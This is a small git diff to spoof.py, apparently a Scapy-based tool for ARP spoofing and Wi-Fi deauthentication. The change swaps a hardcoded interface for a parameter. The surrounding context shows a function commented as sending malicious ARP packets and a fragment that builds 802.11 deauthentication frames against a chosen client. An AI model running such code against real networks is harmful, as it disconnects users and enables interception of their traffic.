diff --git a/spoof.py b/spoof.py index 2ff8787..ddbb8af 100644 --- a/spoof.py +++ b/spoof.py @@ -52,7 +52,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac): # send malicious ARP packets def sendDeauthPacket(iface, bssid, client): conf.verb = 0 - conf.iface = 'en0' + conf.iface = iface def broadcastPacket(): pkt=RadioTap()/Dot11(addr1=client,addr2=bssid,addr3=bssid)/Dot11Deauth()